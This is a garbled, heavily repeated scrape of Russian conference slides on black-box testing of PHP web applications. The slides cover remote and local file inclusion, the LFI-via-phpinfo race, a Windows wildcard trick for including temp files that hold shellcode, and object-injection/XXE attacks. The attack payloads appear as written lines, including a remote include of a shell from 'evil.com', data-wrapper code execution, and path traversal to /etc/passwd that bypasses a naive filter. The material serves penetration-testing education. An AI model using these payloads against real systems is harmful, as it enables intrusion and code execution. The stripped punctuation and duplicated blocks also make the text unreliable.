  • Распознавание платформ (2)
  • Распознавание платформ (3)
  • Распознавание платформ (4)
  • Сбор информации
  • Сбор информации (2)
  • Сбор информации (3)
  • Сбор информации (4)
  • Сбор информации (5)
  • Быстрый fuzzing
  • Быстрый fuzzing (2)
  • Быстрый fuzzing (3)
  • Уязвимости PHP
  • Почему ломаем PHP
  • lt=$question[0]
  • lt=$answer[0]
  • lt=$question[1]
  • lt=$answer[1]
  • lt=$question[2]
  • lt=$answer[2]
  • Загрузка файлов
  • Загрузка файлов (2)
  • Загрузка файлов (3)
  • Загрузка файлов (4)
  • File inclusion
  • File inclusion (2)
  • RFI
  • LFI
  • LFI (2)
  • Трюки
  • Трюки (2)
  • Трюки (3)
  • Трюки (4)
  • Десериализация вкратце
  • Десериализация вкратце (2)
  • Трюки (5)
  • Заключение
  • Спасибо за внимание
Page 37: Blackbox-тестирование веб-приложений

File inclusion

bull В PHP-приложениях достаточно распространены уязвимости связанные с чтением или исполнением произвольных файлов

bull Рассмотрим подробнее второй тип ndash подключение исполняемого PHP-кода

bull При этом путь с точки зрения PHP ndash это не просто локальный путь в файловой системе а URL

bull Поэтому разделяют Local File Inclusion и Remote File Inclusion

File inclusion

bull Чтение file_get_contents readfile highlight_file fopen и т д

bull Подключение include(_once) require(_once) и т д

bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On

bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp

RFI

bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data

bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt

bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport

bull Потенциально возможно исполнение произвольного кода например через обёртку expect

LFI

bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp

bull С префиксом pathfilebull С постфиксом pathfile00

pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию

LFI

bull Что подключать Ищем загрузку документов аватаров и т д

bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись

bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd

Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть

phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()

состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым

bull См httpsrdotorgforumshowthreadphpt=1134

Трюки

bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать

bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName

_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями

PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt

Трюки

bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл

bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp

bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом

bull См httpsrdotorgforumshowthreadphpt=926

Трюкиbull Заметим что трудности могут возникнуть при

включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл

не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что

будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и

allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58

Десериализация вкратце

bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python

bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при

десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)

Десериализация вкратце

bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа

bull Часто для этого используется __destruct()bull См

httpsrdotorgforumshowthreadphpt=950

Трюки

bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742

bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited

Заключение

bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups

documentation coding testing researchbull Надеюсь узнали и запомнили что-то

полезное

Спасибо за внимание

adminahackrubechedincsecurityru

  • Секреты чёрного ящика
  • Кто я
  • Чёрный ящик
  • Black box
  • Чёрный ящик = Black box
  • Анализ защищённости
  • Почему black box
  • План
  • Первые шаги
  • Первые шаги (2)
  • Первые шаги (3)
  • Главные идеи
  • Распознавание платформ
  • Распознавание платформ (2)
  • Распознавание платформ (3)
  • Распознавание платформ (4)
  • Сбор информации
  • Сбор информации (2)
  • Сбор информации (3)
  • Сбор информации (4)
  • Сбор информации (5)
  • Быстрый fuzzing
  • Быстрый fuzzing (2)
  • Быстрый fuzzing (3)
  • Уязвимости PHP
  • Почему ломаем PHP
  • lt=$question[0]
  • lt=$answer[0]
  • lt=$question[1]
  • lt=$answer[1]
  • lt=$question[2]
  • lt=$answer[2]
  • Загрузка файлов
  • Загрузка файлов (2)
  • Загрузка файлов (3)
  • Загрузка файлов (4)
  • File inclusion
  • File inclusion (2)
  • RFI
  • LFI
  • LFI (2)
  • Трюки
  • Трюки (2)
  • Трюки (3)
  • Трюки (4)
  • Десериализация вкратце
  • Десериализация вкратце (2)
  • Трюки (5)
  • Заключение
  • Спасибо за внимание
Page 38: Blackbox-тестирование веб-приложений

File inclusion

bull Чтение file_get_contents readfile highlight_file fopen и т д

bull Подключение include(_once) require(_once) и т д

bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On

bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp

RFI

bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data

bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt

bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport

bull Потенциально возможно исполнение произвольного кода например через обёртку expect

LFI

bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp

bull С префиксом pathfilebull С постфиксом pathfile00

pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию

LFI

bull Что подключать Ищем загрузку документов аватаров и т д

bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись

bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd

Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть

phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()

состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым

bull См httpsrdotorgforumshowthreadphpt=1134

Трюки

bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать

bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName

_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями

PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt

Трюки

bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл

bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp

bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом

bull См httpsrdotorgforumshowthreadphpt=926

Трюкиbull Заметим что трудности могут возникнуть при

включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл

не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что

будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и

allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58

Десериализация вкратце

bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python

bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при

десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)

Десериализация вкратце

bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа

bull Часто для этого используется __destruct()bull См

httpsrdotorgforumshowthreadphpt=950

Трюки

bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742

bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited

Заключение

bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups

documentation coding testing researchbull Надеюсь узнали и запомнили что-то

полезное

Спасибо за внимание

adminahackrubechedincsecurityru

  • Секреты чёрного ящика
  • Кто я
  • Чёрный ящик
  • Black box
  • Чёрный ящик = Black box
  • Анализ защищённости
  • Почему black box
  • План
  • Первые шаги
  • Первые шаги (2)
  • Первые шаги (3)
  • Главные идеи
  • Распознавание платформ
  • Распознавание платформ (2)
  • Распознавание платформ (3)
  • Распознавание платформ (4)
  • Сбор информации
  • Сбор информации (2)
  • Сбор информации (3)
  • Сбор информации (4)
  • Сбор информации (5)
  • Быстрый fuzzing
  • Быстрый fuzzing (2)
  • Быстрый fuzzing (3)
  • Уязвимости PHP
  • Почему ломаем PHP
  • lt=$question[0]
  • lt=$answer[0]
  • lt=$question[1]
  • lt=$answer[1]
  • lt=$question[2]
  • lt=$answer[2]
  • Загрузка файлов
  • Загрузка файлов (2)
  • Загрузка файлов (3)
  • Загрузка файлов (4)
  • File inclusion
  • File inclusion (2)
  • RFI
  • LFI
  • LFI (2)
  • Трюки
  • Трюки (2)
  • Трюки (3)
  • Трюки (4)
  • Десериализация вкратце
  • Десериализация вкратце (2)
  • Трюки (5)
  • Заключение
  • Спасибо за внимание
Page 39: Blackbox-тестирование веб-приложений

RFI

bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data

bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt

bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport

bull Потенциально возможно исполнение произвольного кода например через обёртку expect

LFI

bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp

bull С префиксом pathfilebull С постфиксом pathfile00

pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию

LFI

bull Что подключать Ищем загрузку документов аватаров и т д

bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись

bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd

Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть

phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()

состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым

bull См httpsrdotorgforumshowthreadphpt=1134

Трюки

bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать

bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName

_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями

PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt

Трюки

bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл

bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp

bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом

bull См httpsrdotorgforumshowthreadphpt=926

Трюкиbull Заметим что трудности могут возникнуть при

включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл

не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что

будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и

allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58

Десериализация вкратце

bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python

bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при

десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)

Десериализация вкратце

bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа

bull Часто для этого используется __destruct()bull См

httpsrdotorgforumshowthreadphpt=950

Трюки

bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742

bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited

Заключение

bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups

documentation coding testing researchbull Надеюсь узнали и запомнили что-то

полезное

Спасибо за внимание

adminahackrubechedincsecurityru

  • Секреты чёрного ящика
  • Кто я
  • Чёрный ящик
  • Black box
  • Чёрный ящик = Black box
  • Анализ защищённости
  • Почему black box
  • План
  • Первые шаги
  • Первые шаги (2)
  • Первые шаги (3)
  • Главные идеи
  • Распознавание платформ
  • Распознавание платформ (2)
  • Распознавание платформ (3)
  • Распознавание платформ (4)
  • Сбор информации
  • Сбор информации (2)
  • Сбор информации (3)
  • Сбор информации (4)
  • Сбор информации (5)
  • Быстрый fuzzing
  • Быстрый fuzzing (2)
  • Быстрый fuzzing (3)
  • Уязвимости PHP
  • Почему ломаем PHP
  • lt=$question[0]
  • lt=$answer[0]
  • lt=$question[1]
  • lt=$answer[1]
  • lt=$question[2]
  • lt=$answer[2]
  • Загрузка файлов
  • Загрузка файлов (2)
  • Загрузка файлов (3)
  • Загрузка файлов (4)
  • File inclusion
  • File inclusion (2)
  • RFI
  • LFI
  • LFI (2)
  • Трюки
  • Трюки (2)
  • Трюки (3)
  • Трюки (4)
  • Десериализация вкратце
  • Десериализация вкратце (2)
  • Трюки (5)
  • Заключение
  • Спасибо за внимание
Page 40: Blackbox-тестирование веб-приложений

LFI

bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp

bull С префиксом pathfilebull С постфиксом pathfile00

pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию

LFI

bull Что подключать Ищем загрузку документов аватаров и т д

bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись

bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd

Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть

phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()

состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым

bull См httpsrdotorgforumshowthreadphpt=1134

Трюки

bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать

bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName

_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями

PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt

Трюки

bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл

bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp

bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом

bull См httpsrdotorgforumshowthreadphpt=926

Трюкиbull Заметим что трудности могут возникнуть при

включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл

не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что

будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и

allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58

Десериализация вкратце

bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python

bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при

десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)

Десериализация вкратце

bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа

bull Часто для этого используется __destruct()bull См

httpsrdotorgforumshowthreadphpt=950

Трюки

bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742

bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited

Заключение

bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups

documentation coding testing researchbull Надеюсь узнали и запомнили что-то

полезное

Спасибо за внимание

adminahackrubechedincsecurityru

  • Секреты чёрного ящика
  • Кто я
  • Чёрный ящик
  • Black box
  • Чёрный ящик = Black box
  • Анализ защищённости
  • Почему black box
  • План
  • Первые шаги
  • Первые шаги (2)
  • Первые шаги (3)
  • Главные идеи
  • Распознавание платформ
  • Распознавание платформ (2)
  • Распознавание платформ (3)
  • Распознавание платформ (4)
  • Сбор информации
  • Сбор информации (2)
  • Сбор информации (3)
  • Сбор информации (4)
  • Сбор информации (5)
  • Быстрый fuzzing
  • Быстрый fuzzing (2)
  • Быстрый fuzzing (3)
  • Уязвимости PHP
  • Почему ломаем PHP
  • lt=$question[0]
  • lt=$answer[0]
  • lt=$question[1]
  • lt=$answer[1]
  • lt=$question[2]
  • lt=$answer[2]
  • Загрузка файлов
  • Загрузка файлов (2)
  • Загрузка файлов (3)
  • Загрузка файлов (4)
  • File inclusion
  • File inclusion (2)
  • RFI
  • LFI
  • LFI (2)
  • Трюки
  • Трюки (2)
  • Трюки (3)
  • Трюки (4)
  • Десериализация вкратце
  • Десериализация вкратце (2)
  • Трюки (5)
  • Заключение
  • Спасибо за внимание
Page 41: Blackbox-тестирование веб-приложений

LFI

bull Что подключать Ищем загрузку документов аватаров и т д

bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись

bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd

Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть

phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()

состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым

bull См httpsrdotorgforumshowthreadphpt=1134

Трюки

bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать

bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName

_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями

PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt

Трюки

bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл

bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp

bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом

bull См httpsrdotorgforumshowthreadphpt=926

Трюкиbull Заметим что трудности могут возникнуть при

включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл

не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что

будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и

allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58

Десериализация вкратце

bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python

bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при

десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)

Десериализация вкратце

bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа

bull Часто для этого используется __destruct()bull См

httpsrdotorgforumshowthreadphpt=950

Трюки

bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742

bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited

Заключение

bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups

documentation coding testing researchbull Надеюсь узнали и запомнили что-то

полезное

Спасибо за внимание

adminahackrubechedincsecurityru

  • Секреты чёрного ящика
  • Кто я
  • Чёрный ящик
  • Black box
  • Чёрный ящик = Black box
  • Анализ защищённости
  • Почему black box
  • План
  • Первые шаги
  • Первые шаги (2)
  • Первые шаги (3)
  • Главные идеи
  • Распознавание платформ
  • Распознавание платформ (2)
  • Распознавание платформ (3)
  • Распознавание платформ (4)
  • Сбор информации
  • Сбор информации (2)
  • Сбор информации (3)
  • Сбор информации (4)
  • Сбор информации (5)
  • Быстрый fuzzing
  • Быстрый fuzzing (2)
  • Быстрый fuzzing (3)
  • Уязвимости PHP
  • Почему ломаем PHP
  • lt=$question[0]
  • lt=$answer[0]
  • lt=$question[1]
  • lt=$answer[1]
  • lt=$question[2]
  • lt=$answer[2]
  • Загрузка файлов
  • Загрузка файлов (2)
  • Загрузка файлов (3)
  • Загрузка файлов (4)
  • File inclusion
  • File inclusion (2)
  • RFI
  • LFI
  • LFI (2)
  • Трюки
  • Трюки (2)
  • Трюки (3)
  • Трюки (4)
  • Десериализация вкратце
  • Десериализация вкратце (2)
  • Трюки (5)
  • Заключение
  • Спасибо за внимание
Page 42: Blackbox-тестирование веб-приложений

Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть

phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()

состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым

bull См httpsrdotorgforumshowthreadphpt=1134

Трюки

bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать

bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName

_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями

PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt

Трюки

bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл

bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp

bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом

bull См httpsrdotorgforumshowthreadphpt=926

Трюкиbull Заметим что трудности могут возникнуть при

включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл

не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что

будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и

allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58

Десериализация вкратце

bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python

bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при

десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)

Десериализация вкратце

bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа

bull Часто для этого используется __destruct()bull См

httpsrdotorgforumshowthreadphpt=950

Трюки

bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742

bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited

Заключение

bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups

documentation coding testing researchbull Надеюсь узнали и запомнили что-то

полезное

Спасибо за внимание

adminahackrubechedincsecurityru

  • Секреты чёрного ящика
  • Кто я
  • Чёрный ящик
  • Black box
  • Чёрный ящик = Black box
  • Анализ защищённости
  • Почему black box
  • План
  • Первые шаги
  • Первые шаги (2)
  • Первые шаги (3)
  • Главные идеи
  • Распознавание платформ
  • Распознавание платформ (2)
  • Распознавание платформ (3)
  • Распознавание платформ (4)
  • Сбор информации
  • Сбор информации (2)
  • Сбор информации (3)
  • Сбор информации (4)
  • Сбор информации (5)
  • Быстрый fuzzing
  • Быстрый fuzzing (2)
  • Быстрый fuzzing (3)
  • Уязвимости PHP
  • Почему ломаем PHP
  • lt=$question[0]
  • lt=$answer[0]
  • lt=$question[1]
  • lt=$answer[1]
  • lt=$question[2]
  • lt=$answer[2]
  • Загрузка файлов
  • Загрузка файлов (2)
  • Загрузка файлов (3)
  • Загрузка файлов (4)
  • File inclusion
  • File inclusion (2)
  • RFI
  • LFI
  • LFI (2)
  • Трюки
  • Трюки (2)
  • Трюки (3)
  • Трюки (4)
  • Десериализация вкратце
  • Десериализация вкратце (2)
  • Трюки (5)
  • Заключение
  • Спасибо за внимание
Page 43: Blackbox-тестирование веб-приложений

Трюки

bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать

bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName

_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями

PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt

Трюки

bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл

bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp

bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом

bull См httpsrdotorgforumshowthreadphpt=926

Трюкиbull Заметим что трудности могут возникнуть при

включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл

не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что

будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и

allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58

Десериализация вкратце

bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python

bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при

десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)

Десериализация вкратце

bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа

bull Часто для этого используется __destruct()bull См

httpsrdotorgforumshowthreadphpt=950

Трюки

bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742

bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited

Заключение

bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups

documentation coding testing researchbull Надеюсь узнали и запомнили что-то

полезное

Спасибо за внимание

adminahackrubechedincsecurityru

  • Секреты чёрного ящика
  • Кто я
  • Чёрный ящик
  • Black box
  • Чёрный ящик = Black box
  • Анализ защищённости
  • Почему black box
  • План
  • Первые шаги
  • Первые шаги (2)
  • Первые шаги (3)
  • Главные идеи
  • Распознавание платформ
  • Распознавание платформ (2)
  • Распознавание платформ (3)
  • Распознавание платформ (4)
  • Сбор информации
  • Сбор информации (2)
  • Сбор информации (3)
  • Сбор информации (4)
  • Сбор информации (5)
  • Быстрый fuzzing
  • Быстрый fuzzing (2)
  • Быстрый fuzzing (3)
  • Уязвимости PHP
  • Почему ломаем PHP
  • lt=$question[0]
  • lt=$answer[0]
  • lt=$question[1]
  • lt=$answer[1]
  • lt=$question[2]
  • lt=$answer[2]
  • Загрузка файлов
  • Загрузка файлов (2)
  • Загрузка файлов (3)
  • Загрузка файлов (4)
  • File inclusion
  • File inclusion (2)
  • RFI
  • LFI
  • LFI (2)
  • Трюки
  • Трюки (2)
  • Трюки (3)
  • Трюки (4)
  • Десериализация вкратце
  • Десериализация вкратце (2)
  • Трюки (5)
